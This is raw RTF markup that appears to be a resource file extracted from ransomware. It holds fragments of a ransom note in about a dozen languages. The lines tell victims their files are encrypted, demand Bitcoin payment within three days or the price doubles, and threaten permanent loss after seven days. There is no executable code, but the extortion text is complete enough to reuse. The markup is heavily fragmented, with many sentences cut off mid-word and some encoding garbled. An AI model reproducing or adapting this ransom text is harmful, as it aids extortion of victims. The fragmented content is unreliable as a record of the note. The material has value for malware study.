\\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\af36\\afs22 \\ltrch\\fcs0 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1042\\loch\\f31506\\hich\\af31506\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 \\snext0 \\sqformat \\spriority0 \\styrsid1847526 Normal;}{\\*\\cs10 \\additive \\ssemihidden \\sunhideused \\spriority1 Default Paragraph Font;}{\\* \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\ltrch\\fcs0 \\fs22\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 -28419\\'b3\\'a3\ \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 About}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15289305\\charrsid5275506 \\mlMargin0\\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1}{\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min54}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min48}{\\version4}{\\edmins1}{\\nofpages1}{\\nofwords278}{\\nofchars1611}{\\nofcharsws1886} \\mnaryLim1}{\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min57}{\\revtim\\yr2017\\mo5\\dy11\\hr15}{\\version4}{\\edmins2}{\\nofpages1}{\\nofwords425}{\\nofchars1480}{\\nofcharsws1902}{\\vern32775}}{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft. \\mrMargin0\\mdefJc1\\mwrapIndent1440\\mintLim0\\mnaryLim1}{\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min53}{\\revtim\\yr2017\\mo5\\dy11\\hr14\\min44}{\\version3}{\\edmins1}{\\nofpages1}{\\nofwords359}{\\nofchars1898}{\\nofcharsws2253} \\mwrapIndent1440\\mintLim0\\mnaryLim1}{\\info{\\author Messi}{\\operator Messi}{\\creatim\\yr2017\\mo5\\dy11\\hr13\\min52}{\\revtim\\yr2017\\mo5\\dy11\\hr18\\min55}{\\version6}{\\edmins1}{\\nofpages1}{\\nofwords672}{\\nofchars97}{\\nofcharsws768}{\\vern32775}} \\nofeaturethrottle1\\ilfomacatclnup0\\ltrpar \\sectd \\ltrsect\\linex0\\headery851\\footery992\\colsx425\\endnhere\\sectlinegrid312\\sectspecifyl\\sectrsid8592923\\sftnbj {\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta \\hich .}}{\\*\\pnseclvl2 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Adem\\'e1\\loch\\f31502 \\hich\\f31502 s, si no paga en 7 d\\'ed\\loch\\f31502 \\hich\\f31502 as, no podr\\'e1\\loch\\f31502 recuperar sus archivos para siempre. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Al\\'e9\\loch\\f31502 \\hich\\f31502 m disso, se voc\\'ea\\loch\\f31502 \\hich\\f31502 n\\'e3\\loch\\f31502 \\hich\\f31502 o pagar em 7 dias, voc\\'ea\\loch\\f31502 \\hich\\f31502 n\\'e3\\loch\\f31502 \\hich\\f31502 o ser\\'e1 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Ap\\'f3\\loch\\f31502 s o pagamento, clique em <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payment}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Apr\\'e8\\loch\\f31502 s votre paiement, cliq\\hich\\af31502\\dbch\\af31505\\loch\\f31502 uez sur <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payment} \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Beaucoup de vos documents, photos, vid\\'e9\\loch\\f31502 \\hich\\f31502 os, bases de donn\\'e9\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 es et autres fichiers ne sont plus accessibles car ils ont \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Ch\\'fa\\loch\\f31502 \\hich\\f31502 ng t\\'f4\\loch\\f31502 i s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Despu\\'e9\\loch\\f31502 s de su pago, haga clic en <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payment}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Du kan dekryptera n\\'e5\\loch\\f31502 \\hich\\f31502 gra av dina filer gratis. F\\'f6\\loch\\f31502 \\hich\\f31502 rs\\'f6\\loch\\f31502 \\hich\\f31502 k nu genom att klicka p\\'e5\\loch\\f31502 <}{\\rtlch\\fcs1 \\af2 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 E envie o valor correto para o endere\\'e7\\loch\\f31502 o especificado nesta janela. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Efter betalningen klickar du p\\'e5\\loch\\f31502 <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payment}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 En outre, si vous ne payez pas dans 7 jours, vous ne pourrez pas r\\'e9\\loch\\f31502 \\hich\\f31502 cup\\'e9\\loch\\f31502 rer \\hich\\af31502\\dbch\\af31505\\loch\\f31502 vos fichiers pour toujours. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Et envoyez le montant correct \\'e0\\loch\\f31502 \\hich\\f31502 l'adresse sp\\'e9\\loch\\f31502 \\hich\\f31502 cifi\\'e9\\loch\\f31502 \\hich\\f31502 e dans cette fen\\'ea\\loch\\f31502 tre. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Ja l\\'e4\\loch\\f31502 \\hich\\f31502 het\\'e4\\loch\\f31502 \\hich\\f31502 oikea summa t\\'e4\\loch\\f31502 \\hich\\f31502 ss\\'e4\\loch\\f31502 \\hich\\f31502 ikkunassa m\\'e4\\'e4\\loch\\f31502 ritettyyn osoitteeseen. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Jos et maksa 7 p\\'e4\\loch\\f31502 \\hich\\f31502 iv\\'e4\\loch\\f31502 n aikana, et pysty palauttamaan tiedostoja ikuisesti. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Kun maksu on valittu, voit aloittaa tiedostojen salauksen purkamisen v\\'e4\\loch\\f31502 \\hich\\f31502 litt\\'f6\\loch\\f31502 \\hich\\f31502 m\\'e4\\loch\\f31502 sti. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 M\\'e5\\loch\\f31502 \\hich\\f31502 nga av dina dokument, foton, videoklipp, databaser och andra filer \\'e4\\loch\\f31502 \\hich\\f31502 r inte l\\'e4\\loch\\f31502 \\hich\\f31502 ngre tillg\\'e4 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Mais si vous souhaitez d\\'e9\\loch\\f31502 crypter tous vos fichiers, vous devez payer. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Mas se voc\\'ea\\loch\\f31502 quiser decif\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 rar todos os seus arquivos, voc\\'ea\\loch\\f31502 precisa pagar. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Meill\\'e4\\loch\\f31502 on ilmaisia }{\\rtlch\\fcs1 \\af34 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Men om du vill dekryptera alla dina filer m\\'e5\\loch\\f31502 ste du betala. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Monet asiakirjoista, valokuvista, videoista, tietokannoista ja muista tiedostoista eiv\\'e4\\loch\\f31502 \\hich\\f31502 t ole en\\'e4\\'e4\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Muchos de sus documentos, fotos, v\\'ed\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 deos, bases de datos y otros archivos ya no son accesibles porque se han cifrado. Tal vez usted est\\'e1 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Muitos de seus documentos, fotos, v\\'ed\\loch\\f31502 \\hich\\f31502 deos, bancos de dados e outros arquivos n\\'e3\\loch\\f31502 \\hich\\f31502 o s\\'e3\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 N\\'e4\\loch\\f31502 \\hich\\f31502 r betalningen \\'e4\\loch\\f31502 \\hich\\f31502 r kontrollerad kan du b\\'f6\\loch\\f31502 rja dekryptera dina filer omedelb\\hich\\af31502\\dbch\\af31505\\loch\\f31502 art. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Nous aurons des \\'e9\\loch\\f31502 \\hich\\f31502 v\\'e9\\loch\\f31502 nements gratuits pour les utilisateurs qui sont si pauvres qu'ils ne pouvaient pas payer en 6 mois. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Om du inte betalar inom 7 dagar kommer du inte heller att kunna \\'e5\\loch\\f31502 \\hich\\f31502 terst\\'e4\\loch\\f31502 \\hich\\f31502 lla dina filer f\\'f6\\loch\\f31502 r alltid. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 S\\'f3\\loch\\f31502 \\hich\\f31502 lo tiene 3 d\\'ed\\loch\\f31502 \\hich\\f31502 as para enviar el pago. Despu\\'e9\\loch\\f31502 \\hich\\f31502 s de eso el precio se duplicar\\'e1. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Sau khi thanh to\\'e1\\loch\\f31502 n, nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Sinulla on vain 3 p\\'e4\\loch\\f31502 \\hich\\f31502 iv\\'e4\\'e4\\loch\\f31502 \\hich\\f31502 aikaa l\\'e4\\loch\\f31502 \\hich\\f31502 hett\\'e4\\'e4\\loch\\f31502 \\hich\\f31502 maksu. T\\'e4 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Tarkista bitcoinin nykyinen hinta ja osta bitcoins. Saat lis\\'e4\\loch\\f31502 tietoja napsauttamalla <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Une fois que le paiement est coch\\'e9\\loch\\f31502 \\hich\\f31502 , vous pouvez commencer \\'e0\\loch\\f31502 \\hich\\f31502 d\\'e9\\loch\\f31502 \\hich\\f31502 crypter vos fichiers imm\\'e9\\loch\\f31502 diatement. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 V\\'e0\\loch\\f31502 g}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 V\\'e4\\loch\\f31502 \\hich\\f31502 nligen kolla nuvarande pris p\\'e5\\loch\\f31502 \\hich\\f31502 Bitcoin och k\\'f6\\loch\\f31502 \\hich\\f31502 p lite bitcoins. F\\'f6\\loch\\f31502 \\hich\\f31502 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Verifique o pre\\'e7\\loch\\f31502 o atual do Bitcoin e compre alguns bitcoins. Para obter mais\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 informa\\'e7\\'f5\\loch\\f31502 es, clique em <}{\\rtlch\\fcs1 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Veuillez v\\'e9\\loch\\f31502 rifier le prix actuel de Bitcoin et acheter des bitcoins. Pour plus d'informations, cliquez sur <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15614891 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Vi kommer att ha gratis evenemang f\\'f6\\loch\\f31502 \\hich\\f31502 r anv\\'e4\\loch\\f31502 \\hich\\f31502 ndare som \\'e4\\loch\\f31502 \\hich\\f31502 r s\\'e5\\loch\\f31502 stackars att de inte kunde betal \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Voc\\'ea\\loch\\f31502 pode descriptografar alguns de seus arquivos gratuitamente. Tente agora clicando em . \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Voc\\'ea\\loch\\f31502 \\hich\\f31502 s\\'f3\\loch\\f31502 \\hich\\f31502 tem 3 dias para enviar o pagamento. Depois disso o pre\\'e7\\loch\\f31502 \\hich\\f31502 o ser\\'e1\\loch\\f31502 dobrado. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Vous n'avez que 3 jours pour soumettre le paiement. Ensuite, le prix sera doubl\\'e9. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Vous pouvez d\\'e9\\loch\\f31502 crypter certains de vos fichiers gratuitement. Essayez maintenant \\hich\\af31502\\dbch\\af31505\\loch\\f31502 en cliquant sur <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Vui l\\'f2\\loch\\f31502 ng ki}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Y env\\'ed\\loch\\f31502 \\hich\\f31502 e la cantidad correcta a la direcci\\'f3\\loch\\f31502 n especificada en esta ventana. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Ave}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 B}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Du har \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 bara 3 dagar att skicka in betalningen. D\\'e4\\loch\\f31502 \\hich\\f31502 refter f\\'f6\\loch\\f31502 rdubblas priset. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Multe documente, fotografii, videoclipuri, baze de date }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Mutta jos haluat purkaa kaikki tiedostot, sinun on maksettava. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 N\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 apsauta maksun j\\'e4\\loch\\f31502 lkeen <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payment}{ \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Nhi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Och skicka\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 r\\'e4\\loch\\f31502 \\hich\\f31502 tt belopp till adressen som anges i det h\\'e4\\loch\\f31502 \\hich\\f31502 r f\\'f6\\loch\\f31502 nstret. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Pero si quieres descifrar todos tus archivos, necesitas pagar. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Por favor, compruebe el precio actual de Bitcoin y compre algunos bitcoins. P\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ara obtener m\\'e1\\loch\\f31502 \\hich\\f31502 s informaci\\'f3\\loch\\f31502 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Puede descifrar algunos de sus archivos de forma gratuita. Pruebe ahora haciendo clic en . \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Pute}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Tendremos eventos gratuitos para lo\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 s usuarios que son tan pobres que no pod\\'ed\\loch\\f31502 an pagar en 6 meses. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Teremos eventos gratuitos pa\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 ra os usu\\'e1\\loch\\f31502 \\hich\\f31502 rios que s\\'e3\\loch\\f31502 \\hich\\f31502 o t\\'e3\\loch\\f31502 \\hich\\f31502 o pobres que n\\'e3 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Uma vez que o paga\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 mento est\\'e1\\loch\\f31502 \\hich\\f31502 marcado, voc\\'ea\\loch\\f31502 \\hich\\f31502 pode come\\'e7\\loch\\f31502 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Una vez comprobado el pago, puede comenzar a descifrar sus archivos inmediatamente. \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Verifica}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Voit purkaa joitain tiedostojasi ilmaiseksi. Kokeile nyt klikkaamalla <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Decrypt}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Vom avea evenimente gratuite pentru utilizatorii care sunt }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 at\\'e2\\loch\\f31528 \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Anda bisa mendekrip beberapa file Anda secara gratis. Coba sekarang dengan mengklik . \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Anda hanya memiliki 3 hari untuk mengirimkan pembayaran. Setelah itu harga akan berlipat ganda. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 At ipadala ang tamang halaga sa address na tinukoy sa window na ito. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Dan kirimkan jumlah yang benar ke alamat yang ditentukan di jendela ini. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Gayundin, kung hindi ka na magbayad sa 7 araw, hindi mo magagawang upang mabawi ang iyong mga file magpakailanman. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Juga, jika Anda tidak membayar dalam 7 hari, Anda tidak akan dapat memulihkan file A\\hich\\af31502\\dbch\\af53\\loch\\f31502 nda selamanya. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Kami akan memiliki acara gratis untuk pengguna yang sangat miskin sehingga mereka tidak dapat membayar dalam 6 bulan. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Kapag ang pagbabayad ay naka-check, maaari mong simulan ang pag-decrypt ang iyong mga file kaagad. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Maaari mong i-decrypt ang ilan sa iyong mga file nang libre. Subukan ngayon sa pamamagitan ng pag-click . \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Mangyaring suriin ang kasalukuyang presyo ng Bitcoin at bumili ng il\\hich\\af31502\\dbch\\af53\\loch\\f31502 ang mga bitcoins. Para sa karagdagang impormasyon, i-click <}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Matapos ang iyong pagbabayad, i-click ang <}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid5275506 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Check Payment}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 mayr\\hich\\af31502\\dbch\\af53\\loch\\f31502 oon ka lamang 3 araw upang isumite ang pagbabayad. Matapos na ang presyo ay lambal. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Mayroon kaming libreng mga kaganapan para sa mga gumagami\\hich\\af31502\\dbch\\af53\\loch\\f31502 t na ay kaya mahirap na hindi nila maaaring magbayad ng 6 na buwan. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Ngunit kung nais mong upang i-decrypt ang lahat ng iyong mga file, kailangan mong bayaran. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Setelah pembayaran Anda, klik <}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid15301782 \\hich\\af31502\\dbch\\af53\\loch\\f31502 Check Payment}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Setelah pembayaran dicek, Anda dapat segera mulai mendekripsi file Anda. \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Silakan pe\\hich\\af31502\\dbch\\af53\\loch\\f31502 riksa harga Bitcoin saat ini dan beli beberapa bitcoin. Untuk informasi lebih lanjut, klik <}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\par \\hich\\af31502\\dbch\\af53\\loch\\f31502 Tapi jika Anda ingin mendekripsi semua file Anda, Anda perlu membayar. \\par \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Ale je\\'9c\\loch\\f31528 \\hich\\f31528 li chcesz odszyfrowa\\'e6\\loch\\f31528 \\hich\\f31528 wszystkie pliki, musisz zap\\'b3\\loch\\f31528 \\hich\\f31528 aci\\'e6. \\par \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 B\\'ea\\loch\\f31528 \\hich\\f31528 dziemy mieli wolne wydarzenia dla u\\'bf\\loch\\f31528 \\hich\\f31528 ytkownik\\'f3\\loch\\f31528 \\hich\\f31528 w, kt\\'f3\\loch\\f31528 \\hich\\f31528 rzy s\\'b9\\loch\\f31528 \\par \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Dar dac\\'e3\\loch\\f31528 dori}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\par \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Dup\\'e3\\loch\\f31528 \\hich\\f31528 efectuarea pl\\'e3}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\par \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Masz tylko 3 dni na przes\\'b3\\loch\\f31528 \\hich\\f31528 anie p\\'b3\\loch\\f31528 \\hich\\f31528 atno\\'9c\\loch\\f31528 \\hich\\f31528 ci. Nast\\'ea\\loch\\f31528 pnie cena zostanie podwojona. \\par \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Po sprawdzeniu p\\'b3\\loch\\f31528 \\hich\\f31528 atno\\'9c\\loch\\f31528 \\hich\\f31528 ci mo\\'bf\\loch\\f31528 \\hich\\f31528 na natychmiast odszyfrowa\\'e6\\loch\\f31528 pliki. \\par \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Sprawd\\'9f\\loch\\f31528 \\hich\\f31528 bie\\'bf\\'b9\\loch\\f31528 \\hich\\f31528 c\\'b9\\loch\\f31528 \\hich\\f31528 cen\\'ea\\loch\\f31528 \\hich\\f31528 Bitcoin i kup troch\\'ea\\loch\\f31528 \\hich\\f31528 bitcoin\\'f3 \\par \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Wiele dokument\\'f3\\loch\\f31528 \\hich\\f31528 w, zdj\\'ea\\'e6\\loch\\f31528 \\hich\\f31528 , film\\'f3\\loch\\f31528 \\hich\\f31528 w, baz danych i innych plik\\'f3\\loch\\f31528 \\hich\\f31528 w nie jest ju\\'bf \\par \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'c2\\'fb\\loch\\f31529 \\hich\\f31529 \\'ec\\'ee\\'e6\\'e5\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'f0\\'e0\\'f1\\'f8\\'e8\\'f4\\'f0\\'ee\\'e2\\'e0\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\'ea\\'ee\\'f2\\'ee\\'f0\\'fb\\'e5\\loch\\f31529 \\par \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'ca\\'e0\\'ea\\loch\\f31529 \\hich\\f31529 \\'f2\\'ee\\'eb\\'fc\\'ea\\'ee\\loch\\f31529 \\hich\\f31529 \\'ee\\'ef\\'eb\\'e0\\'f2\\'e0\\loch\\f31529 \\hich\\f31529 \\'e1\\'f3\\'e4\\'e5\\'f2\\loch\\f31529 \\hich\\f31529 \\'ef\\'f0\\'ee\\'e2\\'e5\\'f0\\'e5 \\par \\loch\\af31529\\dbch\\af31505\\hich\\f31529 